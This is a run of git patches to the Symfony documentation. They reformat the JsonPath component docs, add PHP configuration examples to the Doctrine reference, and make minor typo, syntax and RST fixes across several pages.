 * :method:`Symfony\\Component\\JsonPath\\JsonPath::index`
   Adds an array index selector. Index numbers start at ``0``.
 
-* :method:`Symfony\\Component\\JsonPath\\JsonPath::first` / :method:`Symfony\\Component\\JsonPath\\JsonPath::last`
+* :method:`Symfony\\Component\\JsonPath\\JsonPath::first` /
+  :method:`Symfony\\Component\\JsonPath\\JsonPath::last`
   Shortcuts for ``index(0)`` and ``index(-1)`` respectively::
 
       // get the last book: '$["store"]["book"][-1]'
@@ -213,17 +221,101 @@ filters, refer to the `Querying with Expressions`_ section above. All these
 features are supported and can be combined with the programmatic builder when
 appropriate (e.g., inside a ``filter()`` expression).
 
+Testing with JSON Assertions
+----------------------------
+
+The component provides a set of PHPUnit assertions to make testing JSON data
+more convenient. Use the
+:class:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait`
+in your test class::
+
+    use PHPUnit\Framework\TestCase;
+    use Symfony\Component\JsonPath\Test\JsonPathAssertionsTrait;
+
+    class MyTest extends TestCase
+    {
+        use JsonPathAssertionsTrait;
+
+        public function testSomething(): void
+        {
+            $json = '{"books": [{"title": "A"}, {"title": "B"}]}';
+
+            self::assertJsonPathCount(2, '$.books[*]', $json);
+        }
+    }
+
+The trait provides the following assertion methods:
+
+* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathCount`
+  Asserts that the number of elements found by the JSONPath expression matches
+  an expected count::
+
+      $json = '{"a": [1, 2, 3]}';
+      self::assertJsonPathCount(3, '$.a[*]', $json);
+
+* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathEquals`
+  Asserts that the result of a JSONPath expression is equal to an expected
+  value. The comparison uses ``==`` (type coercion) instead of ``===``::
+
+      $json = '{"a": [1, 2, 3]}';
+
+      // passes because "1" == 1
+      self::assertJsonPathEquals(['1'], '$.a[0]', $json);
+
+* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathNotEquals`
+  Asserts that the result of a JSONPath expression is not equal to an expected
+  value. The comparison uses ``!=`` (type coercion) instead of ``!==``::
+
+      $json = '{"a": [1, 2, 3]}';
+      self::assertJsonPathNotEquals([42], '$.a[0]', $json);
+
+* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathSame`
+  Asserts that the result of a JSONPath expression is identical (``===``) to an
+  expected value. This is a strict comparison and does not perform type
+  coercion::
+
+      $json = '{"a": [1, 2, 3]}';
+
+      // fails because "1" !== 1
+      // self::assertJsonPathSame(['1'], '$.a[0]', $json);
+
+      self::assertJsonPathSame([1], '$.a[0]', $json);
+
+* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathNotSame`
+  Asserts that the result of a JSONPath expression is not identical (``!==``) to
+  an expected value::
+
+      $json = '{"a": [1, 2, 3]}';
+      self::assertJsonPathNotSame(['1'], '$.a[0]', $json);
+
+* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathContains`
+  Asserts that a given value is found within the array of results from the
+  JSONPath expression::
+
+      $json = '{"tags": ["php", "symfony", "json"]}';
+      self::assertJsonPathContains('symfony', '$.tags[*]', $json);
+
+* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathNotContains`
+  Asserts that a given value is NOT found within the array of results from the
+  JSONPath expression::
+
+      $json = '{"tags": ["php", "symfony", "json"]}';
+      self::assertJsonPathNotContains('java', '$.tags[*]', $json);
+
 Error Handling
 --------------
 
 The component throws specific exceptions for invalid input or queries:
 
 * :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidArgumentException`:
-  Thrown if the input to the ``JsonCrawler`` constructor is not a valid JSON string;
+  Thrown if the input to the ``JsonCrawler`` constructor is not a valid JSON
+string;
 * :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidJsonStringInputException`:
-  Thrown during a ``find()`` call if the JSON string is malformed (e.g., syntax error);
+  Thrown during a ``find()`` call if the JSON string is malformed
+(e.g., syntax error);
 * :class:`Symfony\\Component\\JsonPath\\Exception\\JsonCrawlerException`:
-  Thrown for errors within the JsonPath expression itself, such as using an unknown function
+  Thrown for errors within the JsonPath expression itself, such as using an
+  unknown function
 
 Example of handling errors::
 

From 230072e9f39b65092f60fd0e3c9344c329caa490 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Jun 2025 16:24:18 +0200
Subject: [PATCH 5753/5766] Minor tweaks

---
 components/json_path.rst | 32 +++++++++++---------------------
 1 file changed, 11 insertions(+), 21 deletions(-)

diff --git a/components/json_path.rst b/components/json_path.rst
index 294eed98917..9db8e48885e 100644
--- a/components/json_path.rst
+++ b/components/json_path.rst
@@ -30,9 +30,9 @@ You can install the component in your project using Composer:
 Usage
 -----
 
-To start querying a JSON document, first create a
-:class:`Symfony\\Component\\JsonPath\\JsonCrawler`object from a JSON string. The
-following examples use this sample "bookstore" JSON data::
+To start querying a JSON document, first create a :class:`Symfony\\Component\\JsonPath\\JsonCrawler`
+object from a JSON string. The following examples use this sample "bookstore"
+JSON data::
 
     use Symfony\Component\JsonPath\JsonCrawler;
 
@@ -77,9 +77,8 @@ following examples use this sample "bookstore" JSON data::
 
     $crawler = new JsonCrawler($json);
 
-Once you have the crawler instance, use its
-:method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method to start
-querying the data. This method returns an array of matching values.
+Once you have the crawler instance, use its :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find`
+method to start querying the data. This method returns an array of matching values.
 
 Querying with Expressions
 -------------------------
@@ -120,12 +119,7 @@ you to find values without specifying the full path::
     // get all authors from anywhere in the document
     $authors = $crawler->find('$..author');
 
-    // $authors is equals to [
-        'Nigel Rees',
-        'Evelyn Waugh',
-        'Herman Melville',
-        'John Ronald Reuel Tolkien'
-    ]
+    // $authors is ['Nigel Rees', 'Evelyn Waugh', 'Herman Melville', 'John Ronald Reuel Tolkien']
 
 Filtering Results
 ~~~~~~~~~~~~~~~~~
@@ -141,9 +135,8 @@ Building Queries Programmatically
 
 For more dynamic or complex query building, use the fluent API provided
 by the :class:`Symfony\\Component\\JsonPath\\JsonPath` class. This lets you
-construct a query object step by step. The ``JsonPath`` object can then be
-passed to the crawler's
-:method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
+construct a query object step by step. The ``JsonPath`` object can then be passed
+to the crawler's :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
 
 The main advantage of the programmatic builder is that it automatically handles
 escaping of keys and values, preventing syntax errors::
@@ -225,8 +218,7 @@ Testing with JSON Assertions
 ----------------------------
 
 The component provides a set of PHPUnit assertions to make testing JSON data
-more convenient. Use the
-:class:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait`
+more convenient. Use the :class:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait`
 in your test class::
 
     use PHPUnit\Framework\TestCase;
@@ -308,11 +300,9 @@ Error Handling
 The component throws specific exceptions for invalid input or queries:
 
 * :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidArgumentException`:
-  Thrown if the input to the ``JsonCrawler`` constructor is not a valid JSON
-string;
+  Thrown if the input to the ``JsonCrawler`` constructor is not a valid JSON string;
 * :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidJsonStringInputException`:
-  Thrown during a ``find()`` call if the JSON string is malformed
-(e.g., syntax error);
+  Thrown during a ``find()`` call if the JSON string is malformed (e.g., syntax error);
 * :class:`Symfony\\Component\\JsonPath\\Exception\\JsonCrawlerException`:
   Thrown for errors within the JsonPath expression itself, such as using an
   unknown function

From 29106ac3e31e24a3df8e17beba1f3d7593b8d0e2 Mon Sep 17 00:00:00 2001
From: Vincent Amstoutz <vincent.amstoutz@outlook.com>
Date: Sat, 24 Feb 2024 16:29:33 +0100
Subject: [PATCH 5754/5766] [Doctrine] update config reference doc with PHP
 examples

---
 reference/configuration/doctrine.rst | 171 ++++++++++++++++++++++-----
 1 file changed, 143 insertions(+), 28 deletions(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 46877e9f84c..958e63b37f6 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -100,6 +100,36 @@ The following block shows all possible configuration keys:
             </doctrine:config>
         </container>
 
+    .. code-block:: php
+
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine): void {
+            $dbal = $doctrine->dbal();
+
+            $dbal = $dbal
+                ->connection('default')
+                    ->dbname('database')
+                    ->host('localhost')
+                    ->port(1234)
+                    ->user('user')
+                    ->password('secret')
+                    ->driver('pdo_mysql')
+                    ->url('mysql://db_user:db_password@127.0.0.1:3306/db_name') // if the url option is specified, it will override the above config
+                    ->driverClass(App\DBAL\MyDatabaseDriver::class) // the DBAL driverClass option
+                    ->option('foo', 'bar') // the DBAL driverOptions option
+                    ->path('%kernel.project_dir%/var/data/data.sqlite')
+                    ->memory(true)
+                    ->unixSocket('/tmp/mysql.sock')
+                    ->wrapperClass(App\DBAL\MyConnectionWrapper::class) // the DBAL wrapperClass option
+                    ->charset('utf8mb4')
+                    ->logging('%kernel.debug%')
+                    ->platformService(App\DBAL\MyDatabasePlatformService::class)
+                    ->serverVersion('8.0.37')
+                    ->mappingType('enum', 'string')
+                    ->type('custom', App\DBAL\MyCustomType::class);
+        };
+
 .. note::
 
     The ``server_version`` option was added in Doctrine DBAL 2.5, which
@@ -125,7 +155,9 @@ The following block shows all possible configuration keys:
 If you want to configure multiple connections in YAML, put them under the
 ``connections`` key and give them a unique name:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
 
     doctrine:
         dbal:
@@ -144,6 +176,29 @@ If you want to configure multiple connections in YAML, put them under the
                     host:             localhost
                     server_version:   '8.2.0'
 
+    .. code-block:: php
+
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine): void {
+            $dbal = $doctrine->dbal();
+            $dbal->defaultConnection('default');
+
+            $dbal->connection('default')
+                ->dbname('Symfony')
+                ->user('root')
+                ->password('null')
+                ->host('localhost')
+                ->serverVersion('8.0.37');
+
+            $dbal->connection('customer')
+                ->dbname('customer')
+                ->user('root')
+                ->password('null')
+                ->host('localhost')
+                ->serverVersion('8.2.0');
+        };
+
 The ``database_connection`` service always refers to the *default* connection,
 which is the first one defined or the one configured via the
 ``default_connection`` parameter.
@@ -172,7 +227,9 @@ Doctrine ORM Configuration
 This following configuration example shows all the configuration defaults
 that the ORM resolves to:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
 
     doctrine:
         orm:
@@ -187,6 +244,29 @@ that the ORM resolves to:
             result_cache_driver: array
             naming_strategy: doctrine.orm.naming_strategy.default
 
+    .. code-block:: php
+
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine): void {
+            $orm = $doctrine->orm();
+
+            $orm
+                ->entityManager('default')
+                ->connection('default')
+                ->autoMapping(true)
+                ->metadataCacheDriver()->type('array')
+                ->queryCacheDriver()->type('array')
+                ->resultCacheDriver()->type('array')
+                ->namingStrategy('doctrine.orm.naming_strategy.default');
+
+            $orm
+                ->autoGenerateProxyClasses(false)
+                ->proxyNamespace('Proxies')
+                ->proxyDir('%kernel.cache_dir%/doctrine/orm/Proxies')
+                ->defaultEntityManager('default');
+        };
+
 There are lots of other configuration options that you can use to overwrite
 certain classes, but those are for very advanced use-cases only.
 
@@ -230,35 +310,70 @@ Caching Drivers
 Use any of the existing :doc:`Symfony Cache </cache>` pools or define new pools
 to cache each of Doctrine ORM elements (queries, results, etc.):
 
-.. code-block:: yaml
+.. configuration-block::
 
-    # config/packages/prod/doctrine.yaml
-    framework:
-        cache:
-            pools:
-                doctrine.result_cache_pool:
-                    adapter: cache.app
-                doctrine.system_cache_pool:
-                    adapter: cache.system
+    .. code-block:: yaml
 
-    doctrine:
-        orm:
-            # ...
-            metadata_cache_driver:
-                type: pool
-                pool: doctrine.system_cache_pool
-            query_cache_driver:
-                type: pool
-                pool: doctrine.system_cache_pool
-            result_cache_driver:
-                type: pool
-                pool: doctrine.result_cache_pool
+        # config/packages/prod/doctrine.yaml
+        framework:
+            cache:
+                pools:
+                    doctrine.result_cache_pool:
+                        adapter: cache.app
+                    doctrine.system_cache_pool:
+                        adapter: cache.system
 
-            # in addition to Symfony Cache pools, you can also use the
-            # 'type: service' option to use any service as the cache
-            query_cache_driver:
-                type: service
-                id: App\ORM\MyCacheService
+        doctrine:
+            orm:
+                # ...
+                metadata_cache_driver:
+                    type: pool
+                    pool: doctrine.system_cache_pool
+                query_cache_driver:
+                    type: pool
+                    pool: doctrine.system_cache_pool
+                result_cache_driver:
+                    type: pool
+                    pool: doctrine.result_cache_pool
+
+                # in addition to Symfony cache pools, you can also use the
+                # 'type: service' option to use any service as a cache pool
+                query_cache_driver:
+                    type: service
+                    id: App\ORM\MyCacheService
+
+    .. code-block:: php
+
+        use Symfony\Config\DoctrineConfig;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework, DoctrineConfig $doctrine): void {
+            $framework
+                ->cache()
+                    ->pool('doctrine.result_cache_pool')
+                        ->adapters('cache.app')
+                    ->pool('doctrine.system_cache_pool')
+                        ->adapters('cache.sytsem');
+
+            $doctrine->orm()
+                // ...
+                ->entityManager('default')
+                ->metadataCacheDriver()
+                    ->type('pool')
+                    ->pool('doctrine.system_cache_pool')
+                ->queryCacheDriver()
+                    ->type('pool')
+                    ->pool('doctrine.system_cache_pool')
+                ->resultCacheDriver()
+                    ->type('pool')
+                    ->pool('doctrine.result_cache_pool')
+
+                // in addition to Symfony cache pools, you can also use the
+                // 'type: service' option to use any service as a cache pool
+                ->queryCacheDriver()
+                    ->type('service')
+                    ->id(App\ORM\MyCacheService::class);
+        };
 
 Mapping Configuration
 ~~~~~~~~~~~~~~~~~~~~~

From 0b1da84b2c7dc6e6df8b2f2383f0d450f451b86f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Jun 2025 17:48:10 +0200
Subject: [PATCH 5755/5766] Minor tweaks

---
 routing.rst | 16 ++++++----------
 1 file changed, 6 insertions(+), 10 deletions(-)

diff --git a/routing.rst b/routing.rst
index be915855785..3663b72396e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -252,14 +252,12 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
     automatically for you when the :ref:`framework.http_method_override <configuration-framework-http_method_override>`
     option is ``true``.
 
-.. _routing-matching-expressions:
-
 Matching Environments
 ~~~~~~~~~~~~~~~~~~~~~
 
-The ``env`` option can be used to make a route conditional on the
-:ref:`configuration environment <configuration-environments>`, the route will
-only be registered if the environment matches.
+Use the ``env`` option to register a route only when the current
+:ref:`configuration environment <configuration-environments>` matches the
+given value:
 
 .. configuration-block::
 
@@ -274,11 +272,7 @@ only be registered if the environment matches.
 
         class DefaultController extends AbstractController
         {
-            #[Route(
-                '/tools',
-                name: 'tools',
-                env: 'dev',
-            )]
+            #[Route('/tools', name: 'tools', env: 'dev')]
             public function developerTools(): Response
             {
                 // ...
@@ -320,6 +314,8 @@ only be registered if the environment matches.
             ;
         };
 
+.. _routing-matching-expressions:
+
 Matching Expressions
 ~~~~~~~~~~~~~~~~~~~~
 

From da10e09b16b72e333a83a82a4dea951db46bb69f Mon Sep 17 00:00:00 2001
From: Dmitri Perunov <diimpp@gmail.com>
Date: Thu, 19 Jun 2025 22:57:27 +0400
Subject: [PATCH 5756/5766] Fix php example syntax error at mailer.rst

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index b1976444ac3..5ba85056d27 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1765,7 +1765,7 @@ the HTTP calls made by the HTTP transports, which is useful for debugging errors
 
     public function onMessage(SentMessageEvent $event): void
     {
-        $message $event->getMessage();
+        $message = $event->getMessage();
 
         // do something with the message (e.g. get its id)
     }

From f19d812ed92433d7d8e32f86966d1b7433bfbc3d Mon Sep 17 00:00:00 2001
From: Santiago San Martin <sanmartindev@gmail.com>
Date: Fri, 20 Jun 2025 18:00:07 -0300
Subject: [PATCH 5757/5766] Fix yaml and xml example syntax error at
 factories.rst

---
 service_container/factories.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/factories.rst b/service_container/factories.rst
index abff3f65a3d..a2643eb6440 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -397,7 +397,7 @@ e.g. change the service based on a parameter:
 
             # you can use the arg() function to retrieve an argument from the definition
             App\Email\NewsletterManagerInterface:
-                factory: "@=arg(0).createNewsletterManager() ?: service("default_newsletter_manager")"
+                factory: '@=arg(0).createNewsletterManager() ?: service("default_newsletter_manager")'
                 arguments:
                     - '@App\Email\NewsletterManagerFactory'
 
@@ -418,7 +418,7 @@ e.g. change the service based on a parameter:
 
                 <!-- you can use the arg() function to retrieve an argument from the definition -->
                 <service id="App\Email\NewsletterManagerInterface">
-                    <factory expression="arg(0).createNewsletterManager() ?: service("default_newsletter_manager")"/>
+                    <factory expression="arg(0).createNewsletterManager() ?: service('default_newsletter_manager')"/>
                     <argument type="service" id="App\Email\NewsletterManagerFactory"/>
                 </service>
             </services>

From 80a809c94e8241cd807b0d4896b5c8812a29cb04 Mon Sep 17 00:00:00 2001
From: Santiago San Martin <sanmartindev@gmail.com>
Date: Sun, 22 Jun 2025 13:47:54 -0300
Subject: [PATCH 5758/5766] fix: minor in file `webhook.rst`

---
 webhook.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/webhook.rst b/webhook.rst
index 773df3643bc..be4ccbcf95d 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -100,7 +100,7 @@ webhook consumer code.
 The webhook routing name is part of the URL you need to configure at the
 third-party mailer provider. The URL is the concatenation of your domain name
 and the routing name you chose in the configuration (like
-``https://example.com/webhook/mailer_mailgun``.
+``https://example.com/webhook/mailer_mailgun``).
 
 For Mailgun, you will get a secret for the webhook. Store this secret as
 MAILER_MAILGUN_SECRET (in the :doc:`secrets management system

From 451ca516c39f137594f7412ac3224d13c5bfd88a Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Sun, 22 Jun 2025 23:29:04 +0200
Subject: [PATCH 5759/5766] fix code block indentation

---
 reference/configuration/doctrine.rst | 56 ++++++++++++++--------------
 1 file changed, 28 insertions(+), 28 deletions(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 958e63b37f6..9fc9a0b16a8 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -159,22 +159,22 @@ If you want to configure multiple connections in YAML, put them under the
 
     .. code-block:: yaml
 
-    doctrine:
-        dbal:
-            default_connection:       default
-            connections:
-                default:
-                    dbname:           Symfony
-                    user:             root
-                    password:         null
-                    host:             localhost
-                    server_version:   '8.0.37'
-                customer:
-                    dbname:           customer
-                    user:             root
-                    password:         null
-                    host:             localhost
-                    server_version:   '8.2.0'
+        doctrine:
+            dbal:
+                default_connection:       default
+                connections:
+                    default:
+                        dbname:           Symfony
+                        user:             root
+                        password:         null
+                        host:             localhost
+                        server_version:   '8.0.37'
+                    customer:
+                        dbname:           customer
+                        user:             root
+                        password:         null
+                        host:             localhost
+                        server_version:   '8.2.0'
 
     .. code-block:: php
 
@@ -231,18 +231,18 @@ that the ORM resolves to:
 
     .. code-block:: yaml
 
-    doctrine:
-        orm:
-            auto_mapping: false
-            # the standard distribution overrides this to be true in debug, false otherwise
-            auto_generate_proxy_classes: false
-            proxy_namespace: Proxies
-            proxy_dir: '%kernel.cache_dir%/doctrine/orm/Proxies'
-            default_entity_manager: default
-            metadata_cache_driver: array
-            query_cache_driver: array
-            result_cache_driver: array
-            naming_strategy: doctrine.orm.naming_strategy.default
+        doctrine:
+            orm:
+                auto_mapping: false
+                # the standard distribution overrides this to be true in debug, false otherwise
+                auto_generate_proxy_classes: false
+                proxy_namespace: Proxies
+                proxy_dir: '%kernel.cache_dir%/doctrine/orm/Proxies'
+                default_entity_manager: default
+                metadata_cache_driver: array
+                query_cache_driver: array
+                result_cache_driver: array
+                naming_strategy: doctrine.orm.naming_strategy.default
 
     .. code-block:: php
 

From 27f0a58c91b3f3fc74be9ac99bae618305fe34f7 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Sun, 22 Jun 2025 23:52:12 +0200
Subject: [PATCH 5760/5766] fix method role syntax

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 46ee188d68d..18fc5e03cec 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2356,7 +2356,7 @@ will take care of creating a new process with the parameters you passed::
     }
 
 If you want to use shell features such as redirections or pipes, use the static
-factory :method:Symfony\\Component\\Process\\Messenger\\RunProcessMessage::fromShellCommandline::
+:method:`Symfony\\Component\\Process\\Messenger\\RunProcessMessage::fromShellCommandline` factory method::
 
     use Symfony\Component\Messenger\MessageBusInterface;
     use Symfony\Component\Process\Messenger\RunProcessMessage;

From 5a55a888542ceae308025364767f6f0c30465b0e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 23 Jun 2025 09:13:19 +0200
Subject: [PATCH 5761/5766] Use DOCtor-RST 1.70.0

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 3722546330d..42770d55fe3 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -72,7 +72,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.69.1
+                uses: docker://oskarstark/doctor-rst:1.70.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 7900a2aa4e0405c294833f71f693b392238a8c73 Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Mon, 23 Jun 2025 13:49:59 +0200
Subject: [PATCH 5762/5766] Add note about concurrency limits

---
 http_client.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 15a3a9ef8a8..3904368d50f 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1355,6 +1355,10 @@ code waits only when necessary.
     or access to certificate files). To avoid hitting these limits, consider
     processing requests in batches.
 
+    There is however a maximum amount of concurrent connections that can be open
+    per host (6 by default). See
+    :doc:`max_host_connections </configuration/framework.html#max-host-connections>`.
+
 Multiplexing Responses
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 90be650dd8be29d435306bb80133d3db54e68bf8 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 23 Jun 2025 17:42:25 +0200
Subject: [PATCH 5763/5766] [Templates] Removing self-closing slashes

Page: https://symfony.com/doc/current/templates.html
---
 templates.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/templates.rst b/templates.rst
index 151ac5f71be..e895b4a6df3 100644
--- a/templates.rst
+++ b/templates.rst
@@ -304,10 +304,10 @@ You can now use the ``asset()`` function:
 .. code-block:: html+twig
 
     {# the image lives at "public/images/logo.png" #}
-    <img src="{{ asset('images/logo.png') }}" alt="Symfony!"/>
+    <img src="{{ asset('images/logo.png') }}" alt="Symfony!">
 
     {# the CSS file lives at "public/css/blog.css" #}
-    <link href="{{ asset('css/blog.css') }}" rel="stylesheet"/>
+    <link href="{{ asset('css/blog.css') }}" rel="stylesheet">
 
     {# the JS file lives at "public/bundles/acme/js/loader.js" #}
     <script src="{{ asset('bundles/acme/js/loader.js') }}"></script>
@@ -332,7 +332,7 @@ as follows:
 
 .. code-block:: html+twig
 
-    <img src="{{ absolute_url(asset('images/logo.png')) }}" alt="Symfony!"/>
+    <img src="{{ absolute_url(asset('images/logo.png')) }}" alt="Symfony!">
 
     <link rel="shortcut icon" href="{{ absolute_url('favicon.png') }}">
 
@@ -973,7 +973,7 @@ following code to display the user information is repeated in several places:
 
     {# ... #}
     <div class="user-profile">
-        <img src="{{ user.profileImageUrl }}" alt="{{ user.fullName }}"/>
+        <img src="{{ user.profileImageUrl }}" alt="{{ user.fullName }}">
         <p>{{ user.fullName }} - {{ user.email }}</p>
     </div>
 
@@ -1258,7 +1258,7 @@ In practice, the ``base.html.twig`` template would look like this:
             <meta charset="UTF-8">
             <title>{% block title %}My Application{% endblock %}</title>
             {% block stylesheets %}
-                <link rel="stylesheet" type="text/css" href="/css/base.css"/>
+                <link rel="stylesheet" type="text/css" href="/css/base.css">
             {% endblock %}
         </head>
         <body>

From 01915d0a3448db4b8ba415abe35793498a51f43f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 24 Jun 2025 09:19:05 +0200
Subject: [PATCH 5764/5766] [Templating] [Templates] Removing self-closing
 slashes

---
 templates.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/templates.rst b/templates.rst
index 0041077dfed..bc249024f05 100644
--- a/templates.rst
+++ b/templates.rst
@@ -304,10 +304,10 @@ You can now use the ``asset()`` function:
 .. code-block:: html+twig
 
     {# the image lives at "public/images/logo.png" #}
-    <img src="{{ asset('images/logo.png') }}" alt="Symfony!"/>
+    <img src="{{ asset('images/logo.png') }}" alt="Symfony!">
 
     {# the CSS file lives at "public/css/blog.css" #}
-    <link href="{{ asset('css/blog.css') }}" rel="stylesheet"/>
+    <link href="{{ asset('css/blog.css') }}" rel="stylesheet">
 
     {# the JS file lives at "public/bundles/acme/js/loader.js" #}
     <script src="{{ asset('bundles/acme/js/loader.js') }}"></script>
@@ -332,7 +332,7 @@ as follows:
 
 .. code-block:: html+twig
 
-    <img src="{{ absolute_url(asset('images/logo.png')) }}" alt="Symfony!"/>
+    <img src="{{ absolute_url(asset('images/logo.png')) }}" alt="Symfony!">
 
     <link rel="shortcut icon" href="{{ absolute_url('favicon.png') }}">
 
@@ -946,7 +946,7 @@ following code to display the user information is repeated in several places:
 
     {# ... #}
     <div class="user-profile">
-        <img src="{{ user.profileImageUrl }}" alt="{{ user.fullName }}"/>
+        <img src="{{ user.profileImageUrl }}" alt="{{ user.fullName }}">
         <p>{{ user.fullName }} - {{ user.email }}</p>
     </div>
 
@@ -1231,7 +1231,7 @@ In practice, the ``base.html.twig`` template would look like this:
             <meta charset="UTF-8">
             <title>{% block title %}My Application{% endblock %}</title>
             {% block stylesheets %}
-                <link rel="stylesheet" type="text/css" href="/css/base.css"/>
+                <link rel="stylesheet" type="text/css" href="/css/base.css">
             {% endblock %}
         </head>
         <body>

From 9ad93fa3eda5d3786b50d98f965315c18412ba0a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 24 Jun 2025 09:29:00 +0200
Subject: [PATCH 5765/5766] Fix some RST issues

---
 http_client.rst                       | 10 +++++-----
 reference/configuration/framework.rst |  2 ++
 2 files changed, 7 insertions(+), 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 3904368d50f..36ed66a1506 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -167,8 +167,9 @@ Some options are described in this guide:
 Check out the full :ref:`http_client config reference <reference-http-client>`
 to learn about all the options.
 
-The HTTP client also has one configuration option called
-``max_host_connections``, this option can not be overridden by a request:
+The HTTP client also has a configuration option called
+:ref:`max_host_connections <reference-http-client-max-host-connections>`.
+This option cannot be overridden per request:
 
 .. configuration-block::
 
@@ -1355,9 +1356,8 @@ code waits only when necessary.
     or access to certificate files). To avoid hitting these limits, consider
     processing requests in batches.
 
-    There is however a maximum amount of concurrent connections that can be open
-    per host (6 by default). See
-    :doc:`max_host_connections </configuration/framework.html#max-host-connections>`.
+    There is, however, a maximum amount of concurrent connections that can be open
+    per host (``6`` by default). See :ref:`max_host_connections <reference-http-client-max-host-connections>`.
 
 Multiplexing Responses
 ~~~~~~~~~~~~~~~~~~~~~~
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 6376c057940..d97c59dd9e9 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1129,6 +1129,8 @@ max_duration
 The maximum execution time, in seconds, that the request and the response are
 allowed to take. A value lower than or equal to 0 means it is unlimited.
 
+.. _reference-http-client-max-host-connections:
+
 max_host_connections
 ....................
 

From e56a427ab53d52fbb0ee1b96554648a540855219 Mon Sep 17 00:00:00 2001
From: Pieter Oliver <pieter.oliver@nourishcare.com>
Date: Tue, 24 Jun 2025 12:22:57 +0100
Subject: [PATCH 5766/5766] Fix typo

---
 reference/constraints/Url.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 74f0d750dfd..1e9bb8ac62e 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -323,7 +323,7 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
     and will default to ``true`` in Symfony 8.0.
 
 By default, URLs like ``https://aaa`` or ``https://foobar`` are considered valid
-because they are tecnically correct according to the `URL spec`_. If you set this option
+because they are technically correct according to the `URL spec`_. If you set this option
 to ``true``, the host part of the URL will have to include a TLD (top-level domain
 name): e.g. ``https://example.com`` will be valid but ``https://example`` won't.